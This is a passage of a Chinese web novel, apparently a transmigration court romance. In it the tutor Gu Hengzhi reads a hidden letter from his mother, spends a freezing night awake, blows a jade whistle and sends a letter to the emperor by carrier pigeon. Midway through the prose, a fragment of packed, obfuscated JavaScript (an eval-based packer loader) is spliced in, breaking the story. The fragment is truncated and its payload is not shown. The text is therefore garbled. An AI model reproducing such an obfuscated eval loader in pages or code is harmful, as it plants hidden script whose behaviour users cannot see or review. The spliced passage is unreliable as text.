当时,顾衡之可真想问问萧子政,自己能不能就住在宫里。 咳咳,当然,顾衡之最终还是没有好意思问出口。 说起来,萧子政给他的东西可真多,手腕上挂长珠串,腰带上挂御赐匕首,头上的紫色发带加封时也是皇帝亲自系上,再给些东西,他身上要是不长出个三头六臂,都不够挂萧子政送的东西。 “龙丝编是宫里娘娘们才会学到的。”顾慈说到这儿有些娇羞,“每逢乞巧的时候,按照惯例,宫里的娘娘们都会用这种编法做些贴身的物什给陛下,只可惜陛下……” “宫里的娘娘?”顾衡之的心顿时冷了下去。 “也不止是宫里的娘娘。”顾慈继续道,“在民间,也有巧手的姑娘会用这样的编法,编些物什,只不过,都是给心上人的,二哥你……” 一听顾慈这么说,顾仁之的表情也变得有些八卦。 “一位朋友送的。”顾衡之并没有告诉他们,这也是萧子政送的。 * 顾衡之的卧房在西厢。 回到卧房,紫丁便想要伺候顾衡之更衣,剑兰则千方百计地想要顾衡之把有着解药的姜汤喝下去。 顾衡之气也出够了,索性就喝了。 “太傅,这是太夫人命人送来的棉衣。”紫丁道。 “知道了。”顾衡之装得不在意。 等到紫丁和剑兰都下去了,顾衡之的脸色变得凝重了起来,他拿来剪烛的剪刀,将棉衣的上有一块突兀的线给剪开,随后拆出来一块绢布。 那绢布上写了很多顾母对顾衡之的关心。 可顾衡之只看到一句话—— 母亲说,那日萧子政来了府上。 “娘也不知道陛下那日是怎么出现在你卧房里的,根本没有下人来通报。娘只记得你睡得很沉,陛下就是把那匕首架在为娘脖子上,为娘这才不敢告诉你的啊……” 睡得很沉…… 顾衡之心中五味杂陈—— 死人看上去也会睡得很沉。 19.chapter19写信 其实有一点顾衡之想不明白的: 为什么小暴君不肯告诉他,有人想要追杀他,甚至派暗卫去遥远的边界探查,也不来问问他,只是莫名其妙的给了个能召唤信鸽的哨子。 总不能是害怕他被刺客吓死吧? 要真是这样,顾衡之觉得,小暴君真是把他看扁了。 通过顾母透露的消息,顾衡之不由得开始思考一种可能—— 首先,他能穿到原主身上,那么很明显的一点,就是原主已经死了。他那几日表面上高热不下,但是按照系统所说,其实是灵魂穿越进原主身体里的适应期,也就是说原主的身体在逐渐死亡。 那么有没有可能小暴君偷偷潜入府上看到的根本就是原主的尸体?不然小暴君来了,系统至少会告诉他一声。 系统没说,那说明小暴君来看原主的时候,他应该还没有穿越过来。 可是,小暴君怎么表现得那么平静呢?如果小暴君知道他已经死过一次了,上朝的时候,看到他突然出现……怎么一点震惊都没有。 或者有可能小暴君撞见了他的灵魂穿越到原主身体上的场面? 可这样诡异的场面,小暴君怎么一点反应都没有。 顾衡之本来想着去问问顾家人,看看能不能有什么意外收获。 这下收获有是有了,但却将他的思绪弄得更乱了。 还是问问小暴君吧。 顾衡之晃了晃脑袋里的水,懒洋洋地打了个哈欠。 时辰已经不早了,顾衡之检查了一下门锁随后将顾母送来的棉衣披在了身上。 顾衡之熄了烛火,放下帷幔,钻进了薄薄一层被子里。 原主真是铁人。 顾衡之冷得不行,抱紧了自己。 睡吧,睡着了就不冷了。 顾衡之自我催眠道。 * 漏断人初静,顾衡之躺在远远没有皇宫龙床舒适的小床上,总觉得有一股寒气从床板底下往脊背里渗透,寒气让顾衡之的手脚冰凉,无论顾衡之怎么调整被子,都觉得盖不严实,窗户缝里漏进来的冷风吹进了顾衡之的被窝里,冻得顾衡之脚冰冰凉凉的,难以移动。 顾衡之本以为是自己盖被子方式的问题,折腾了半天,才发现压根是被子的问题。 这破被子应该都没怎么晒过,硬邦邦的,摸着材质就不怎么好,边缘甚至都已经有了毛刺,就跟盖了个凉皮在身上似的,可凉快了,都要凉成尸体了。 顾衡之刚穿来顾府的那几天正值高热,所以都没有注意到被子这么不暖和。 忽然的,顾衡之十分想念萧子政硬要给他盖上的十床被子,还有暖呼呼的羊肉汤。 顾衡之直起身来,真想洗个热水澡。 但这里不是皇宫,顾衡之的俸禄也就维持正常开支,所以府上仆役不多,更没有像皇宫里那样有宫女太监轮班值守,可没有人能来帮顾衡之升灶烧热水。 该死的古代,真够麻烦的。 顾衡之现在很想要一个电热壶。 顾衡之叹了一口气,认命一般地裹上了被子。 冒着严寒,顾衡之辗转反侧了不知多久,他从床沿边缩到床内侧,后来冷得把萧子政的那件亵衣也穿在自己身上了。 房间内空荡荡的,就连邪恶毛绒球都进入了休眠模式,一种遗世独立的孤寂感觉涌上顾衡之的心头。 要是身边有人能一起睡就好了,这样肯定能暖和很多。 顾衡之不由得想到了萧子政。 不行不行,要是跟萧子政谁在一起,搞不好半夜被萧子政杀了也说不准。 顾衡之清空了脑袋里的胡思乱想,好不容易静下心来,更加不妙的感觉袭击了顾衡之—— 手疼,左手疼。 “嘶……” 顾衡之捂着左手上的伤口,刮骨疗伤,剔骨之痛想来也莫过于此了。白日里左手上的伤口并不疼,安安稳稳的,就像伤口并不存在一样。 顾衡之几乎都要忘记左手上这个伤疤了。本来顾衡之海觉得着伤口不错,给他莫名其妙挣了一个宝箱,但到这个时候,顾衡之才真正领悟到什么叫做“天下没有免费的午餐”。 这死手,疼得顾衡之想拆开自己的皮肤挠一挠了。 这样的寒冷根本没有办法入睡。 肯定是暖炉熄了。 那要不要去把暖炉升起来呢? 顾衡之翻一圈,又翻一圈,再翻一圈,如果顾衡之是鱼,床是平底锅,顾衡之这翻身的次数都已经把鱼烤得四面金黄了。 纠结了这么大一圈,顾衡之裹了裹被子,他抖着手吹燃了火折子,点燃了蜡烛,借着蜡烛的火光,顾衡之还是走到了炉火旁。炉火已经熄灭许久了,就连铁炉皮上也浸了一层白霜。 顾衡之用拨火棍戳了几下,又把火折子吹燃扔了进去,然后那炭火并没有热起来,反而冒着呛死人不偿命的白烟。 顾衡之彻底清醒了。 睡不着,反正闲着无聊,顾衡之穿上衣服,坐到书桌前,打算看看原主的藏书。 顾衡之本来期望着能找到点小说什么的,结果翻了半天,各种版本材质的《东乾礼律》有一大堆,有竹简记载的,有布抄录的,最贵的,应该是一本纸质的。满当当的架子上,记载野史的书倒是一卷也没有。 无聊…… 顾衡之盯着烛火,眼睛肿肿的,是熬夜的熟悉感,想睡,但又睡不着。 小暴君现在在干嘛呢? 顾衡之忍不住想。 看向脖子间的玉哨,顾衡之忍不住吹了吹。 诶,没声儿? 顾衡之有些错愕。 完了,不会是在床上翻来覆去纠结的时候把小暴君给的礼物压坏了吧。 顾衡之不死心地又吹了几下,还是没有声响。 顾衡之吹得嘴都麻木了,那玲珑剔透的玉哨仍旧没有声儿。 完蛋,要是小暴君明天让他演示一下吹哨,他岂不是只能装死? 怕玉哨真被自己压坏了,顾衡之着急地想要把哨子从脖子上解下来检查检查,但他往后一摸,这才发现小暴君把红绳打成了死结,也就是说,除非把红绳用剪子剪开,要么把顾衡之头砍掉,不然,根本没有办法把玉哨取下来。 这不知轻重的小暴君,寄披风的时候差点勒死他,现在寄红绳,把他绑得死死的,也不考虑一下沐浴的时候该怎么办。 顾衡之挣扎了一会儿,最后又轻轻吹了吹哨子。 仍旧没有声音只不过—— “咚咚。” 突如其来的声响虽然很轻,就像是在一片寂静中格外明显,像是从外头传来的。 顾衡之的动作一顿。 大半夜这声响,怪吓人的。 “咚咚咚咚。” 敲击声并没有停。 难不成是刺客?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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“你就是玉哨召唤过来的信鸽?” 意识到这是萧子政的鸟,也就是顾衡之的鸟,顾衡之也就不打算把那鸟赶出去了,他赶紧关上窗,来到书案边。 信鸽啄了啄毛笔的笔杆,像是示意顾衡之快写信。 既然小信鸽都被召唤过来了,顾衡之也不能辜负信鸽的勤劳,他用剪刀剪下了自己袖子上的一小节。 “陛下可安睡?”顾衡之写着写着左手一痛,牵动右手都跟着一抖。 不过顾衡之并没有在意,因为给萧子政写信这件事分散了他的注意力,他继续写着。 写完信,看着信鸽逐渐飞远,再看看断了的衣袖,顾衡之忽然意识到不对劲—— 真是的,谁家师生大半夜写信交流啊,这等场面,怕是只有电视剧里男女主私会才有的场面。在这本书里,就是萧子恪和齐书宝才会有的暧昧行为。 希望小暴君睡了。 顾衡之默默祈祷。 顾衡之的愿望落空了,萧子政没有睡。 偌大的苍龙殿灯火通明,龙床上的一个身影正缩在角落里瑟瑟发抖。 明明寒风呼啸,床上的人却未着寸缕,他的喉咙间泄露出会让人面红耳赤的声音,抱着一件白绒面的披风,不知道在蹭些什么。 肩膀上的花颜色变得鲜艳起来,已经全开了。